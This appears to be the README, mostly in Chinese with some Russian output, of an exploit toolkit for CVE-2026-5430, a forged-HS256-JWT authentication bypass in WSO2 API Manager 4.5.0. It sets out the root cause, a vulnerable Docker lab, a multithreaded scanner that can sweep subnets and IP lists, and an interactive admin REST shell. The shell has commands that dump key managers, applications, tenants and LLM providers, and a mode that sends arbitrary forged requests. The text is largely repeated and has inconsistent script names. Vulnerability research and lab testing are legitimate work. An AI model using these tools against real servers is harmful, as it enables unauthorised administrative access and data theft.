面向 Docker 的 WSO2 API Manager 4.5.0 漏洞实验室,以及针对 CVE-2026-5430(通过伪造 HS256 JWT 绕过身份验证)的扫描器和漏洞利用程序
用于处理 CVE-2026-5430 的工具:Docker 中的易受攻击实验室、多线程扫描器和交互式 REST shell。
| 文件 | 用途 |
|---|---|
wso2_api_lab.sh | 在 Docker 中部署易受攻击的 WSO2 API Manager 4.5.0(端口 9443) |
wso_api_scanner.py | 多线程 CVE-2026-5430 扫描器 |
wso_api_exploit.py | 交互式 Admin REST shell |
用于扫描器:
pip install requests colorama psutil
对于实验室:docker、curl(通常在 Kali/Debian 中已预装)。
漏洞利用脚本(wso_api_exploit.py)仅使用 Python 标准库。
CVE-2026-5430 — WSO2 API Manager 4.5.0 GA 中 Admin REST API 的身份验证绕过。
在验证 JWT 时,模块 JWTUtil.verifyTokenSignature 仅支持
RS256/RS384/RS512。如果收到不带 kid 的 HS256 令牌,它会尝试按 alias 解析
密钥并抛出异常。打补丁前的
OAuthAuthenticationInterceptor 不处理该异常,并继续
使用未经验证的令牌数据。结果,对 Admin REST API 的请求
以 admin 身份执行,且没有有效会话。
carbon-apimgt 的 WSO2 产品
(API Control Plane、Traffic Manager、Universal Gateway)使脚本可执行:
chmod +x wso2_docker_lab.sh
Запустить:
./wso2_api_lab.sh
脚本检查 Docker 和端口 9443,下载镜像 wso2/wso2am:4.5.0,
以绑定 0.0.0.0:9443 启动容器,并等待 WSO2 就绪
(最多 300 秒)。
更改端口:
./wso2_docker_lab.sh 9443
示例成功运行:
[*] Скачивание образа wso2/wso2am:4.5.0
4.5.0: Pulling from wso2/wso2am
Digest: sha256:e42e5d2c922e2baa4073a9a13458038281f7753f594a87bd3fee75464e254bcb
Status: Image is up to date for wso2/wso2am:4.5.0
docker.io/wso2/wso2am:4.5.0
[*] Запуск контейнера wso2am-cve-2026-5430 на 0.0.0.0:9443
51c476e6a9eaf199768512d481d0439024021c91933c05bf2cf8c20e0514e10a
[*] Ожидание готовности WSO2 (до 300s)
[i] Ожидание WSO2... 65s, статус=000
[+] WSO2 готов
[+] === Лаборатория готова ===
URL цели: https://127.0.0.1:9443
В сети: https://ВАШ_IP:9443
Контейнер: wso2am-cve-2026-5430
Логи: docker logs -f wso2am-cve-2026-5430
Остановить: docker rm -f wso2am-cve-2026-5430
Проверка: curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
Сканер: python3 wso_api_scanner.py 127.0.0.1 9443
Эксплойт: python3 wso_api_exploit.py
curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
预期响应为 HTTP/1.1 401 Unauthenticated request。
语法:
python3 wso_api_scanner.py <target> [ports]
单主机:
python3 wso_api_scanner.py 127.0.0.1 9443
/24 网段:
python3 wso_api_scanner.py 192.168.1.0/24 9443
IP 列表文件:
python3 wso_api_scanner.py wso_ips_only.txt 9443,8243
启动:
python3 wso_api_exploit.py
输入目标,格式为 host:port,例如:
192.168.1.165:9443
Admin REST API v4(/api/am/admin/v4):
| 命令 | 描述 |
|---|---|
tenant | 租户配置:scopes、角色、通知、self-signup 设置 |
km | 所有 Key Manager 的列表 |
km <id> | 特定 Key Manager 的详情(tokenEndpoint、issuer、jwks、grant types) |
km-global | 全局 Key Manager |
apps | 应用程序(Applications)列表 |
apps <id> | 特定应用程序的详情 |
env | Gateway Environments(vhosts、端口、gateway 类型) |
env <id> | 特定 Environment 的详情 |
org | 组织列表 |
org <id> | 特定组织的详情 |
throttle-app | Application throttling policies |
throttle-sub | Subscription throttling policies |
throttle-adv | Advanced throttling policies |
throttle-custom | 自定义限流规则 |
throttle-deny | Deny(阻止)策略 |
workflow | 待处理 workflow 任务列表 |
workflow <ref> | 特定 workflow 的详情 |
tenants | 租户列表 |
categories | API categories |
labels | Labels |
settings | Admin 设置:支持的 Key Manager、gateway types、scopes |
alerts | 支持的 alert types 列表 |
scopes | Role-scope mappings |
roles | Role alias mappings |
bots | Bot detection data |
llm | 已注册的 LLM 提供商列表(OpenAI、Azure、MistralAI) |
Publisher REST API v4(/api/am/publisher/v4):
| 命令 | 描述 |
|---|---|
apis | 所有 API 的列表 |
api <id> | 特定 API 的详情 |
api-swagger <id> | 特定 API 的 Swagger 规范 |
api-products | API Products |
subscriptions | 订阅列表 |
pub-apps | 应用程序(publisher 视图) |
pub-throttle | Throttling policies(publisher 视图) |
实用工具:
| 命令 | 描述 |
|---|---|
raw <METHOD> <path> | 使用伪造 JWT 发起任意 REST 请求 |
raw-json <METHOD> <path> <json> | 同上,但带有 JSON 请求体 |
save <path> | 将最后一次响应保存到本地文件 |
jwt | 输出当前伪造的 JWT |
! <cmd> | 在操作员机器上执行本地命令 |
cache-clear | 清除缓存 |
help / ? | 命令帮助 |
exit / quit / q | 退出 shell |
shell> tenant
[HTTP 200]
{"EnableMonetization":false,...}
shell> km
[HTTP 200]
{"count":1,"list":[{"id":"...","name":"Resident Key Manager",...}]}
shell> save km.json
[+] Сохранено 512 байт в km.json
shell> ! jq '.list[].name' km.json
"Resident Key Manager"
shell> raw GET /api/am/admin/v4/environments
[HTTP 200]
{"count":1,"list":[{"id":"Default",...}]}
shell> jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
500:/api/am/publisher/v4/apis、/api/am/publisher/v4/api-products、/api/am/publisher/v4/subscriptions、/api/am/admin/v4/applications、/api/am/admin/v4/throttling/policies/*。tenant、km、km <id>、env、settings、workflow、categories、labels、alerts、llm、org、pub-throttle 端点返回 200,并证实了身份验证绕过。这些工具旨在用于测试自有系统和教学实验室。未经书面许可对他人系统使用属违法行为。
MIT
CVE-2026-5430 工具包:一个存在漏洞的 Docker 实验环境、一个多线程扫描器, 以及一个交互式 REST shell。
| 文件 | 用途 |
|---|---|
wso2_api_lab.sh | 在 Docker 中启动存在漏洞的 WSO2 API Manager 4.5.0(端口 9443) |
wso_api_scanner.py | 用于 CVE-2026-5430 的多线程扫描器 |
wso_api_exploit.py | 交互式 Admin REST shell |
用于扫描器:
pip install requests colorama psutil
用于实验环境:docker、curl(通常在 Kali/Debian 上已预装)。
该漏洞利用脚本(wso_api_exploit.py)仅依赖 Python 标准库。
CVE-2026-5430 是 WSO2 API Manager 4.5.0 GA Admin REST API 中的一个认证绕过漏洞。
在 JWT 验证过程中,JWTUtil.verifyTokenSignature 仅支持
RS256/RS384/RS512。当它收到一个不带 kid 的 HS256 令牌时,会尝试
通过别名解析密钥并抛出异常。打补丁前的
OAuthAuthenticationInterceptor 未处理该异常,并继续
使用未经验证的令牌数据进行处理。因此,对 Admin REST
API 的请求会以 admin 身份执行,而无需有效会话。
carbon-apimgt 的
产品(API Control Plane、Traffic Manager、Universal Gateway)使脚本可执行:
chmod +x wso2_api_lab.sh
运行它:
./wso2_docker_lab.sh
脚本会验证 Docker 和端口 9443,拉取 wso2/wso2am:4.5.0,启动绑定到 0.0.0.0:9443 的容器,并等待 WSO2 就绪(最长 300 秒)。
更改端口:
./wso2_docker_lab.sh 9443
示例输出:
[*] Pulling image wso2/wso2am:4.5.0
4.5.0: Pulling from wso2/wso2am
Digest: sha256:e42e5d2c922e2baa4073a9a13458038281f7753f594a87bd3fee75464e254bcb
Status: Image is up to date for wso2/wso2am:4.5.0
docker.io/wso2/wso2am:4.5.0
[*] Starting container wso2am-cve-2026-5430 on 0.0.0.0:9443
51c476e6a9eaf199768512d481d0439024021c91933c05bf2cf8c20e0514e10a
[*] Waiting for WSO2 readiness (up to 300s)
[i] Waiting... 65s, status=000
[+] WSO2 is ready
[+] === Lab is ready ===
Local URL: https://127.0.0.1:9443
Network URL: https://YOUR_IP:9443
Container: wso2am-cve-2026-5430
Logs: docker logs -f wso2am-cve-2026-5430
Stop: docker rm -f wso2am-cve-2026-5430
Check: curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
Scanner: python3 wso_api_scanner.py 127.0.0.1 9443
Exploit: python3 wso_api_exploit.py
curl -k -i https://127.0.0.1:9443/api/am/admin/v4/tenant-config
预期响应:HTTP/1.1 401 Unauthenticated request。
语法:
python3 wso_api_scanner.py <target> [ports]
单主机:
python3 wso_api_scanner.py 127.0.0.1 9443
子网 /24:
python3 wso_api_scanner.py 192.168.1.0/24 9443
目标文件:
python3 wso_api_scanner.py wso_ips_only.txt 9443,8243
运行:
python3 wso_api_exploit.py
以 host:port 形式输入目标,例如:
192.168.1.165:9443